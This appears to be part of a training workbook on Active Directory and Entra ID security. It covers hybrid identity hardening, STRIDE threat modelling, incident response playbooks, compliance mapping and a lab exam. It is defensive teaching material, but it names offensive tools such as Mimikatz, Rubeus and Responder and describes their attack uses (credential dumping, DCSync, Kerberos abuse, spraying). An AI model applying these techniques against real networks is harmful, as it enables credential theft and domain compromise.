Why this matters Most enterprises today run hybrid identity — on-prem AD synced to Entra ID (formerly Azure AD) via Entra Connect. Attacks now routinely pivot between on-prem and cloud identity planes. This module covers the cloud half of that picture.

🔑 Core Entra ID Concepts

Concept	On-Prem AD Equivalent	Key Difference
Entra ID Tenant	Forest	Cloud-native, no trust boundaries the same way
Entra ID User	AD User Object	Can be cloud-only or synced (hybrid)
Conditional Access Policy	GPO + NTLM restrictions	Risk-based, signal-driven (location, device, risk score)
Entra ID Roles	AD Security Groups (Domain Admins etc.)	Granular RBAC, no inherent SID history risk
PIM (Privileged Identity Mgmt)	Manual privileged group membership	Just-in-time, time-bound role activation
Entra Connect	N/A — the sync bridge	High-value target: compromise = on-prem + cloud pivot

🌉 Hybrid Identity Attack Surface

On-Prem DC Compromise

→

Entra Connect Server

→

AAD Connect Sync Account

→

Entra ID Global Admin (Cloud)

🚨

Entra Connect = crown jewel The AAD Connect sync account has Directory Sync Accounts role in Entra ID and replication rights on-prem. Compromising the Entra Connect server is functionally equivalent to a DCSync attack that also pivots into the cloud tenant. This single server should sit in Tier 0.

7.1

Set Up a Free Entra ID Tenant & Explore Identity

⏱ 40 min▼

1

Create a free Microsoft Entra ID tenant at signup.microsoft.com using a Microsoft 365 Developer subscription (free, renewable, includes 25 E5 licences for testing).

2

Explore Entra admin centre: Users, Groups, Roles & administrators, Identity Governance, and Security blades.

3

Create 3–4 test users with varying role assignments: one Global Admin (test only), one User Administrator, one standard user.

4

Review built-in roles under Roles & administrators — note the principle of least privilege gaps in default tenant configuration (e.g. who has Global Admin by default).

Free Entra ID tenant created

Test users created with varying roles

Reviewed built-in role assignments

7.2

Conditional Access & MFA Enforcement

⏱ 35 min▼

1

Build a Conditional Access policy requiring MFA for all users when signing in from outside a trusted location (named locations → your home IP as trusted).

2

Add a sign-in risk condition (requires Entra ID P2 / E5 trial): block sign-in when risk level is High, require password change when risk is Medium.

3

Test policy in report-only mode first — review the sign-in logs to confirm the policy would have applied as expected before enforcing.

4

Common AZ-500/SC-300 exam scenario: design a Conditional Access policy that blocks legacy authentication (POP/IMAP/SMTP), since legacy auth protocols don't support MFA and are the #1 password spray target against Entra ID.

📝 Conditional Access Notes

7.3

Privileged Identity Management (PIM) & JIT Access

⏱ 30 min▼

1

Enable PIM in the Entra admin centre and configure a test user as eligible (not active) for the Global Administrator role.

2

Configure role settings: require justification, require approval, set maximum activation duration (e.g. 4 hours), require MFA at activation.

3

Activate the role as the test user and observe the time-bound elevation, then confirm it auto-expires.

4

Map this to on-prem: PIM is the cloud equivalent of the Tier 0 / temporary group membership pattern from Module 5 — eligible-not-active reduces standing privilege the same way "no permanent Domain Admins" does on-prem.

7.4

Hybrid Identity & Entra Connect Hardening

⏱ 35 min▼

1

Review Entra Connect sync options: Password Hash Sync (PHS, recommended default), Pass-Through Authentication (PTA), and Federation (ADFS) — compare attack surface of each.

2

Hardening checklist for the Entra Connect server:

Control	Why
Treat as Tier 0 asset	Compromise grants on-prem + cloud admin
No internet access from the server	Reduces malware/C2 risk on a crown-jewel host
Restrict RDP to PAW/jump host only	Same lateral-movement logic as DC tiering
Enable Entra Connect Health monitoring	Detect sync anomalies and outages
Disable sync for the on-prem Domain Admins group	Prevents on-prem compromise from auto-granting cloud privilege

3

SC-300 exam tie-in: understand the difference between seamless SSO, staged rollout, and writeback features (password writeback, group writeback) — each expands the attack surface differently between on-prem and cloud.

Knowledge Check: Why is the Entra Connect server treated as a Tier 0 asset?

It hosts the company file shares

Its sync account has directory replication rights on-prem and Directory Sync Accounts role in the cloud tenant — compromise bridges both environments

It is the busiest server on the network

It cannot be patched without downtime

🧩

Module 8

Threat Modeling & Risk Assessment

Apply STRIDE and risk-matrix methodology to your AD environment to prioritise defensive investment

● Advanced — ~3 hours

ℹ️

Why threat model AD Attack techniques (Modules 2–4) tell you how an attacker moves. Threat modeling tells you where to invest first — turning a long list of findings into a prioritised, risk-ranked remediation plan that a CISO or board will actually fund.

🔠 STRIDE Applied to Active Directory

STRIDE Category	AD Example	Relevant Module
Spoofing	LLMNR/NBT-NS poisoning to impersonate a legitimate host (Responder)	Module 3
Tampering	Modifying ACLs on objects (GenericAll/WriteDACL abuse)	Module 4
Repudiation	Clearing Security event logs after a Golden Ticket attack	Module 4 / 6
Information Disclosure	Anonymous LDAP bind exposing the full directory	Module 2
Denial of Service	Account lockout policy abuse — locking out all privileged accounts	Module 1 / 5
Elevation of Privilege	Kerberoasting, DCSync, unconstrained delegation abuse	Module 3 / 4

8.1

Build a STRIDE Threat Model for Your Lab Domain

⏱ 45 min▼

1

Diagram your lab.local trust boundaries: Internet → perimeter → workstation tier → DC tier. Identify every place data/auth crosses a boundary.

2

For each boundary, walk through all 6 STRIDE categories and list at least one credible threat per category using attacks you've already practised in Modules 2–4.

3

Identify existing mitigations for each threat (reference your Module 5 hardening work) and flag any threats with no current mitigation.

# STRIDE WORKSHEET TEMPLATE Trust Boundary: ___________________ Threat (STRIDE category) | Likelihood | Impact | Existing Mitigation | Gap? --------------------------|------------|--------|----------------------|----- | | | |

📝 STRIDE Worksheet

📊 Risk Matrix Methodology

⚠️

Risk = Likelihood × Impact Use a 5×5 matrix (1–5 scale on each axis) to score every finding from your Module 1–7 labs. This converts a flat list of "vulnerabilities" into a prioritised remediation backlog.

Finding	Likelihood (1-5)	Impact (1-5)	Risk Score	Priority
Kerberoastable service account with weak password	5	5	25	🔴 Critical
Anonymous LDAP bind enabled	4	3	12	🟠 High
No tiered admin model (Domain Admins log into workstations)	4	5	20	🔴 Critical
Legacy auth protocols not blocked in Entra ID	4	4	16	🟠 High
Audit logging not centralised to SIEM	3	4	12	🟠 High
Outdated password policy (no length/complexity)	3	3	9	🟡 Medium

8.2

Score and Prioritise Your Findings Register

⏱ 40 min▼

1

Compile every finding from your Module 0–7 labs and capstone reports into a single register.

2

Score each finding on the 5×5 likelihood/impact matrix above using your own lab's evidence (e.g. did the attack actually succeed in under 5 minutes? That's a likelihood of 5).

3

Sort by risk score descending and propose a remediation order — this becomes the backbone of your incident response and compliance work in Modules 9 and the Compliance appendix.

📝 Risk Register

Knowledge Check: A finding has Likelihood=2 and Impact=5. What risk tier is this?

Critical — always treat high impact as critical regardless of likelihood

Medium (score=10) — high impact but low likelihood pulls the overall score down; still worth tracking but not top of the queue

Low — impact doesn't matter much

Cannot be scored without a CVSS calculator

🚒

Module 9

Incident Response Procedures & Playbooks

NIST SP 800-61 / SANS PICERL-aligned playbooks for the most common AD compromise scenarios

● Advanced — ~4 hours

ℹ️

IR Lifecycle reminder (SANS PICERL) Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned. Every playbook below follows this structure. Build your own Tier-0 "jump bag" (the Module 0 lab + SIEM from Module 6.4) before a real incident, not during one.

📋 Playbook 1 — Kerberoasting Detected

Trigger: SIEM alert from Lab 6.4 correlation rule (Event 4769, RC4 encryption, high frequency)

P: Confirm baseline of normal TGS request volume per service account.
I: Validate the alert — pull the source account, source IP, and targeted SPNs. Check if the requesting account should ever request that ticket.
C: Disable the source account if compromise is confirmed; force a password reset on the targeted service account(s) immediately (don't wait to investigate further — the hash is already crackable offline).
E: Rotate the service account password to a long random value or migrate to a gMSA (Module 5.2). Review for use of the account elsewhere (lateral movement check).
R: Re-enable accounts once secured; monitor for recurrence for 14 days.
L: Was SPN exposure necessary? Could a gMSA have prevented this entirely?

📋 Playbook 2 — Suspected DCSync / Credential Dumping

Trigger: Event 4662 with replication GUIDs from a non-DC source, or EDR alert on LSASS access (Mimikatz signature)

P: Maintain an up-to-date list of accounts authorised for replication (should be DCs and backup service accounts only).
I: Identify the source host and account. Check Get-ADReplicationConnection and replication metadata for unexpected sync partners.
C: This is a Tier-0/critical incident. Isolate the source host from the network immediately. Assume Domain Admin credentials are compromised.
E: Reset krbtgt password twice, 24 hours apart (single reset is insufficient — see Module 4 Golden Ticket notes). Reset all privileged account passwords. Rebuild the compromised host from clean media — do not trust it.
R: Monitor all authentication for 30 days; consider re-issuing the entire domain's Kerberos tickets are invalidated by the double krbtgt reset.
L: How did the attacker reach a privilege level capable of replication rights? Trace the full attack chain back to initial access.

📋 Playbook 3 — Password Spray Campaign

Trigger: SIEM correlation rule (Lab 6.4) — many accounts, low failure count each, single source

P: Maintain a list of internet-facing auth endpoints (VPN, OWA, Entra ID) as primary spray targets.
I: Identify the source IP(s) and the targeted account list. Cross-reference against a leaked credential list if available.
C: Block the source IP at the perimeter/Conditional Access (Module 7.2 — named locations). Force MFA on all targeted accounts that don't already have it.
E: Identify any accounts where the spray succeeded (low-and-slow attacks often get at least one hit) — treat those as fully compromised.
R: Reset passwords for any compromised accounts; verify MFA enrolment across the org.
L: Was legacy auth blocked (Module 7.2)? Was the account lockout policy (Module 1) tuned to detect this pattern without enabling a DoS condition?

📋 Playbook 4 — Golden/Silver Ticket Persistence

Trigger: Kerberos ticket with anomalous lifetime, or authentication for a disabled/deleted account succeeding

P: Baseline normal Kerberos ticket lifetimes (default max 10h TGT) via Group Policy.
I: Confirm via ticket lifetime anomaly and cross-reference Event 4768/4769 pairs — a Golden Ticket has no matching legitimate AS-REQ.
C: This indicates krbtgt hash compromise. Treat as full domain compromise — assume attacker has persistent, hard-to-revoke access.
E: Double krbtgt reset (24h apart, same as Playbook 2). Audit and remove any rogue computer/service accounts created during the dwell time. Rebuild any hosts where Mimikatz/credential dumping tools executed.
R: Full domain authentication monitoring for 30–60 days; consider a forest recovery exercise if dwell time was extensive.
L: Conduct a full timeline reconstruction — Golden Tickets imply the attacker likely had DA-equivalent access for some period before detection.

📋 Playbook 5 — Unauthorised Privileged Group Membership Change

Trigger: Event 4728/4732/4756 (member added to a privileged group) outside of change control

P: Maintain a change-control record of all approved privileged group modifications.
I: Identify who made the change (Event 4738/4670 for the actor), confirm it wasn't an approved change.
C: Immediately remove the unauthorised member from the privileged group.
E: Investigate how the actor obtained rights to modify the group — ACL abuse (Module 4) is the most common path. Audit ACLs on all Tier-0 groups for unexpected WriteDACL/GenericAll/GenericWrite grants.
R: Re-verify privileged group membership against your authoritative list (Module 1.1 baseline).
L: Was this caught by automated alerting or manual review? Tune the SIEM rule (Lab 6.4) to reduce time-to-detect for next time.

9.1

Tabletop Exercise — Run a Full IR Simulation

⏱ 60 min▼

1

Pick one playbook above and have a partner (or yourself, time-boxed) execute the corresponding attack against your lab without telling you which one in advance.

2

Detect it using your Lab 6.4 SIEM correlation rules — note your time-to-detect.

3

Execute the matching playbook end to end: Identification → Containment → Eradication → Recovery, documenting each action and timestamp.

4

Write a Lessons Learned summary — what worked, what was slow, what would you automate next time.

📝 Tabletop Exercise Log

📜

Appendix A

Compliance Mapping — HIPAA / SOX / PCI-DSS

Map the AD hardening controls from Module 5 onward to common regulatory frameworks

⚠️

Educational mapping, not legal advice This table connects technical AD controls to the intent of each regulation's identity/access provisions. Always validate against your organisation's actual compliance scope with a qualified auditor — control numbering and applicability vary by assessor and version.

AD Control	HIPAA	SOX	PCI-DSS v4.0
Unique user accounts, no shared logins	§164.312(a)(2)(i) Unique User ID	ITGC — Access Control	Req 8.2 — Unique IDs
MFA on privileged + remote access	§164.312(d) Person/Entity Authentication	ITGC — Logical Access	Req 8.4 — MFA for all access to CDE
Tiered admin model / least privilege	§164.308(a)(4) Access Authorization	SOD — Segregation of Duties	Req 7 — Restrict access by business need
Password policy (length, complexity, rotation)	§164.308(a)(5)(ii)(D) Password Management	ITGC — Access Control	Req 8.3 — Strong authentication
Audit logging (Module 6) + SIEM (Lab 6.4)	§164.312(b) Audit Controls	ITGC — Logging & Monitoring	Req 10 — Log and monitor all access
Account lockout / inactivity timeout	§164.312(a)(2)(iii) Automatic Logoff	ITGC — Access Control	Req 8.2.8 — Idle session timeout
Periodic access review (privileged groups)	§164.308(a)(3) Workforce Security	ITGC — User Access Recertification	Req 7.2.4 — Review user accounts ≥ every 6 months
Incident response procedures (Module 9)	§164.308(a)(6) Security Incident Procedures	ITGC — Change/Incident Mgmt	Req 12.10 — Incident response plan
Encryption of authentication traffic (SMB signing, LDAPS)	§164.312(e)(1) Transmission Security	ITGC — Data Protection	Req 4 — Encrypt transmission of CHD
gMSA / no plaintext service account passwords	§164.308(a)(5)(ii)(D)	ITGC — Credential Management	Req 8.6 — Manage app/service accounts
Risk assessment (Module 8)	§164.308(a)(1)(ii)(A) Risk Analysis	SOX 404 — Risk Assessment	Req 12.3 — Annual risk assessment
Conditional Access / risk-based sign-in (Module 7)	§164.312(d)	ITGC — Access Control	Req 8.4.2 — MFA for cloud access

🇳🇬 Local Regulatory Note — NDPR / CBN

ℹ️

Nigeria Data Protection Regulation (NDPR) & CBN guidelines Organisations operating in Nigeria should additionally map these controls to NDPR's data security obligations (reasonable technical and organisational measures, Article 2.6) and, for financial institutions, CBN's IT Risk Management Framework — which mirrors the access control, audit logging, and incident response requirements above almost directly.

C.1

Build a Compliance Gap Assessment for Your Lab Domain

⏱ 45 min▼

1

Pick one framework above relevant to your sector (or all three).

2

Walk through each control row and mark Implemented / Partial / Not Implemented based on your lab.local build from Modules 0–9.

3

Cross-reference gaps against your Module 8 risk register — compliance gaps with high risk scores should top your remediation backlog.

📝 Gap Assessment

🎯

Final Assessment

Practical Exam — Compromised AD Remediation

Set up a deliberately compromised domain, then detect, contain, eradicate, and report — exactly as a working analyst would

● Capstone — ~3 hours

🚨

Exam format Unlike the Module 6.3 capstone (which you control end to end), this exam has someone else — a study partner, mentor, or your own past self using a randomiser — pre-seed the compromise. You walk in cold, as a defender would on day one of a real incident.

🛠️ Setup Phase (Examiner / Partner Task)

1

Revert lab.local to a clean snapshot from Module 0, then seed 2–4 of the following without telling the student which: a Kerberoastable service account, an AS-REP roastable account, an ACL misconfiguration granting GenericAll to a low-priv user, an existing Golden Ticket / compromised krbtgt, a rogue scheduled task or backdoor account, unconstrained delegation on a non-DC host.

2

Ensure SIEM logging (Lab 6.4) is running so the student has real telemetry to work from, not just static configuration review.

🧑‍💻 Student Phase

1

Identification (45 min): Using only your SIEM dashboard and standard AD tooling — no prior knowledge of what was seeded — identify every indicator of compromise you can find.

2

Containment (30 min): Apply appropriate containment for each finding using the relevant Module 9 playbook.

3

Eradication & Recovery (45 min): Remediate the root cause for each finding (password rotation, ACL fix, krbtgt double-reset, account removal, delegation removal) and verify the attack path no longer works.

4

Risk-rank and report (30 min): Score every finding using your Module 8 risk matrix, map relevant findings to the Compliance appendix, and produce a written incident report.

📝 Required Report Sections

# FINAL PRACTICAL EXAM — INCIDENT REPORT # ========================================== EXECUTIVE SUMMARY - Scope, duration, overall severity rating FINDINGS (one block per finding) - Finding name + STRIDE category (Module 8) - Evidence (event IDs, SIEM query/screenshot reference) - Likelihood / Impact / Risk Score (Module 8 matrix) - Containment action taken + timestamp - Eradication action taken + timestamp - Verification that the attack path is closed COMPLIANCE IMPACT - Which HIPAA / SOX / PCI-DSS controls were violated by this finding (Compliance appendix) DETECTION GAP ANALYSIS - Time to detect each finding - Was a SIEM correlation rule (Lab 6.4) already in place, or did you have to build one live? RECOMMENDATIONS - Prioritised remediation backlog for the next 30/60/90 days

✅

Passing standard A strong report identifies all seeded findings, correctly contains and eradicates each one, ranks them accurately by risk, and ties at least two findings to a specific compliance control. This mirrors the deliverable expected of a junior AD security analyst or SOC tier-2 responder on their first real engagement.

📝 Final Exam Report

📚

Appendix B

Tools, Resources & Certifications

Everything you need to continue learning beyond this workbook

🔧 Complete Tool Reference

Category	Tool	Purpose	Platform	Cost
Enumeration
Enum	BloodHound CE	Visual AD attack path mapping via graph analysis	Docker/Any	Free
Enum	SharpHound	BloodHound data collector — runs on Windows	Windows	Free
Enum	PowerView	PowerShell AD situational awareness	Windows	Free
Enum	ldapdomaindump	Dump AD info via LDAP to HTML/JSON	Linux	Free
Enum	enum4linux-ng	SMB/RPC enumeration of Windows hosts	Linux	Free
Enum	ADRecon	Comprehensive AD audit report generator	Windows	Free
Exploitation
Exploit	Impacket Suite	Python tools — secretsdump, psexec, ntlmrelayx, GetNPUsers, GetUserSPNs	Linux	Free
Exploit	CrackMapExec	Swiss army knife for AD — spray, relay, exec, dump	Linux	Free
Exploit	Rubeus	Kerberos abuse — Kerberoast, AS-REP, PtT, Golden Ticket	Windows	Free
Exploit	Mimikatz	Credential extraction from LSASS, DCSync, Golden Ticket	Windows	Free
Exploit	Responder	LLMNR/NBT-NS poisoning — capture NTLM hashes	Linux	Free
Exploit	evil-winrm	WinRM shell with PtH and Kerberos support	Linux	Free
Exploit	kerbrute	Username enumeration and password spray via Kerberos	Linux	Free
Password Cracking
Cracking	Hashcat	GPU-accelerated offline hash cracking	Any	Free
Cracking	John the Ripper	CPU-based hash cracking — great for quick tests	Any	Free
Cracking	rockyou.txt	Default wordlist — 14M passwords from real breaches	Kali built-in	Free
Defence & Detection
Defence	Pingcastle	AD security health score and risk assessment report	Windows	Free
Defence	Purple Knight	AD security posture assessment by Semperis	Windows	Free
Defence	Microsoft LAPS	Auto-rotate local admin passwords on all machines	Windows	Free
Defence	BadBlood	Auto-populate realistic AD lab with misconfigs	Windows	Free
Detection	Sysmon	Deep Windows event logging (process, network, registry)	Windows	Free
Detection	Elastic SIEM (free)	Centralise and query Windows event logs	Any	Free
Detection	Velociraptor	Endpoint visibility and threat hunting at scale	Any	Free
Cloud Identity (Module 7)
Cloud IAM	Microsoft Entra Admin Centre	Manage cloud identities, Conditional Access, PIM, and risk policies	Browser	Free tenant
Cloud IAM	AzureAD / Graph PowerShell	Enumerate and manage Entra ID via CLI — same enumeration logic as on-prem AD modules	Any	Free
Cloud IAM	ROADtools	Entra ID enumeration and attack tooling — cloud equivalent of BloodHound for Entra	Linux/Any	Free
Cloud IAM	Entra Connect Health	Monitor Entra Connect sync health and alert on anomalies	Windows/Azure	Free (with Entra ID P1)
SIEM & Log Management (Module 6.4)
SIEM	Splunk Free	500MB/day ingest — enough for a lab DC. Full SPL query language. Industry standard.	Any	Free (500MB/day)
SIEM	Elastic Stack (ELK)	Open source SIEM — Elasticsearch + Kibana + Winlogbeat. No ingest cap.	Any	Free (open source)
SIEM	Winlogbeat	Ship Windows Security/Sysmon logs to Elastic — the forwarder used in Lab 6.4	Windows	Free
Threat Modeling & Risk (Module 8)
Threat Model	Microsoft Threat Modeling Tool	Free STRIDE-based diagramming tool — build and analyse data flow diagrams	Windows	Free
Threat Model	OWASP Threat Dragon	Open source, browser-based threat modeling — good alternative to MS TMT	Browser/Any	Free

🎓 Certifications to Pursue

PNPT — TCM Security

Practical Network Penetration Tester. Includes a dedicated AD course and a live AD exam environment. Affordable ($400). Highly respected for practical skills.

~$400

CRTP — Pentester Academy

Certified Red Team Professional. 100% focused on AD attacks — Kerberoasting, BloodHound, ACL abuse, domain trusts. Includes an AD lab.

~$250

OSCP — Offensive Security

Industry gold standard. Includes AD-specific challenges since 2022 update. Demonstrates deep practical hacking skills. 24-hour exam.

~$1499

AZ-500 — Microsoft

Azure Security Technologies. Covers Entra ID identity protection, Privileged Identity Management, Conditional Access, and hybrid AD. Module 7 of this workbook maps directly to AZ-500 exam objective SC4 (Manage identity and access). Free practice assessments at learn.microsoft.com.

~$165

SC-300 — Microsoft

Identity and Access Administrator. The deepest Microsoft cert on Entra ID — Conditional Access, PIM, hybrid identity, entitlement management. This workbook's Module 7 labs (7.1–7.4) cover the core hands-on objectives. SC-100 is the architect tier above it.

~$165

CRTL — TCM Security

Certified Red Team Lead — covers advanced AD techniques including forest trusts, cross-domain attacks, and Azure AD integration.

~$500

GCIH — GIAC

GIAC Certified Incident Handler. Covers the full IR lifecycle (Module 9 of this workbook) — preparation, identification, containment, eradication, and recovery, with AD-specific scenario coverage. Strong SOC / blue-team credential.

~$949

CompTIA CySA+ / PenTest+

CySA+ maps to Modules 6–9 of this workbook: threat detection, SIEM use, IR procedures, and compliance. PenTest+ maps to Modules 2–4. Both sit between Security+ and OSCP on the difficulty ladder — affordable stepping stones.

~$392 each

📖 Recommended Resources

📘
The Hacker Recipes — thehacker.recipes/ad — Free, comprehensive AD attack reference wiki covering every technique in depth
📘
ired.team — ired.team — Red teaming notes with detailed AD attack walkthroughs and code
📘
PayloadsAllTheThings — AD — GitHub — Community-maintained AD attack cheatsheet
📘
Microsoft Entra ID Documentation — learn.microsoft.com/entra — Official docs for Entra ID features used in Module 7 (Conditional Access, PIM, Entra Connect)
📘
NIST SP 800-61 Rev 2 — Computer Security Incident Handling Guide — Free PDF from NIST. The foundational IR framework behind Module 9's playbooks
📘
Microsoft STRIDE Documentation — learn.microsoft.com — Official STRIDE reference and threat modeling tool guide (Module 8)
🎓
TCM Security — Practical AD Course — academy.tcm-sec.com — Best value paid AD course. Pairs perfectly with this workbook.
🎓
Microsoft Learn — SC-300 / AZ-500 Learning Paths — learn.microsoft.com — Free structured learning paths for Module 7's cert objectives
🎓
Pentester Academy — AD Labs — pentesteracademy.com — Dedicated AD attack lab environment for CRTP prep
📺
John Hammond on YouTube — Regular AD CTF walkthroughs and technique demonstrations
📺
TCM Security YouTube — Free full Practical Ethical Hacking course segments including AD
📄
Microsoft Security Compliance Toolkit — microsoft.com — Official AD hardening baselines
🏆
HackTheBox Pro Labs — RastaLabs / Offshore — Enterprise-scale AD lab environments with multiple domains and trusts. Best advanced practice available.

Active Directory &Identity Security

🖥️ Software Downloads (All Free)

🧠 Core Concepts

Domain & Forest

Domain Controller (DC)

Key AD Objects

Kerberos Authentication

NTLM Authentication

🛠 Tools for Enumeration

Attack Flow Overview

🔑 Core Entra ID Concepts

🌉 Hybrid Identity Attack Surface

🔠 STRIDE Applied to Active Directory

📊 Risk Matrix Methodology

📋 Playbook 1 — Kerberoasting Detected

Trigger: SIEM alert from Lab 6.4 correlation rule (Event 4769, RC4 encryption, high frequency)

📋 Playbook 2 — Suspected DCSync / Credential Dumping

Trigger: Event 4662 with replication GUIDs from a non-DC source, or EDR alert on LSASS access (Mimikatz signature)

📋 Playbook 3 — Password Spray Campaign

Trigger: SIEM correlation rule (Lab 6.4) — many accounts, low failure count each, single source

📋 Playbook 4 — Golden/Silver Ticket Persistence

Trigger: Kerberos ticket with anomalous lifetime, or authentication for a disabled/deleted account succeeding

📋 Playbook 5 — Unauthorised Privileged Group Membership Change

Trigger: Event 4728/4732/4756 (member added to a privileged group) outside of change control

🇳🇬 Local Regulatory Note — NDPR / CBN

🛠️ Setup Phase (Examiner / Partner Task)

🧑‍💻 Student Phase

📝 Required Report Sections

🔧 Complete Tool Reference

🎓 Certifications to Pursue

PNPT — TCM Security

CRTP — Pentester Academy

OSCP — Offensive Security

AZ-500 — Microsoft

SC-300 — Microsoft

CRTL — TCM Security

GCIH — GIAC

CompTIA CySA+ / PenTest+

📖 Recommended Resources

Active Directory &
Identity Security